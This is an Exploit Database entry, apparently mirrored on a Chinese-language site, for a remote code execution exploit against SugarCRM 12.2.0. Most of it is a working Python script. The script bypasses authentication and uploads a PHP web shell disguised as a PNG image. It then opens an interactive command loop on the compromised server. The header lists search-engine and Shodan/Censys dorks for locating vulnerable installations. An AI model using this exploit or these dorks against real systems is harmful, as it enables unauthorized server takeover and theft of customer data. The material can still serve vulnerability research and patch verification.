SugarCRM 12.2.0 – Remote Code Execution (RCE)

• Exploit Database
• 18 阅读

• 作者： sw33t.0day
  日期： 2023-04-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51187/

• #!/usr/bin/env python
  
  # Exploit Title: SugarCRM 12.2.0 - Remote Code Execution (RCE)
  # Exploit Author: sw33t.0day
  # Vendor Homepage: https://www.sugarcrm.com
  # Version: all commercial versions up to 12.2.0
  
  # Dorks:
  # https://www.google.com/search?q=site:sugarondemand.com&filter=0
  # https://www.google.com/search?q=intitle:"SugarCRM"+inurl:index.php
  # https://www.shodan.io/search?query=http.title:"SugarCRM"
  # https://search.censys.io/search?resource=hosts&q=services.http.response.html_title:"SugarCRM"
  # https://search.censys.io/search?resource=hosts&q=services.http.response.headers.content_security_policy:"*.sugarcrm.com"
  
  import base64, re, requests, sys, uuid
  
  requests.packages.urllib3.disable_warnings()
  
  if len(sys.argv) != 2:
  	sys.exit("Usage: %s [URL]" % sys.argv[0])
  	
  print "[+] Sending authentication request"
  
  url = sys.argv[1] + "/index.php"
  session = {"PHPSESSID": str(uuid.uuid4())}
  params= {"module": "Users", "action": "Authenticate", "user_name": 1, "user_password": 1}
  
  requests.post(url, cookies=session, data=params, verify=False)
  
  print "[+] Uploading PHP shell\n"
  
  png_sh = "iVBORw0KGgoAAAANSUhEUgAAABkAAAAUCAMAAABPqWaPAAAAS1BMVEU8P3BocCBlY2hvICIjIyMjIyI7IHBhc3N0aHJ1KGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJjIl0pKTsgZWNobyAiIyMjIyMiOyA/PiD2GHg3AAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAKklEQVQokWNgwA0YmZhZWNnYOTi5uHl4+fgFBIWERUTFxCXwaBkFQxQAADC+AS1MHloSAAAAAElFTkSuQmCC"
  upload = {"file": ("sweet.phar", base64.b64decode(png_sh), "image/png")} # you can also try with other extensions like .php7 .php5 or .phtml
  params = {"module": "EmailTemplates", "action": "AttachFiles"}
  
  requests.post(url, cookies=session, data=params, files=upload, verify=False)
  
  url = sys.argv[1] + "/cache/images/sweet.phar"
  
  while True:
  	cmd = raw_input("# ")
  	res = requests.post(url, data={"c": base64.b64encode(cmd)}, verify=False)
  	res = re.search("#####(.*)#####", res.text, re.DOTALL)
  	if res:
  		print res.group(1)
  	else:
  		sys.exit("\n[+] Failure!\n")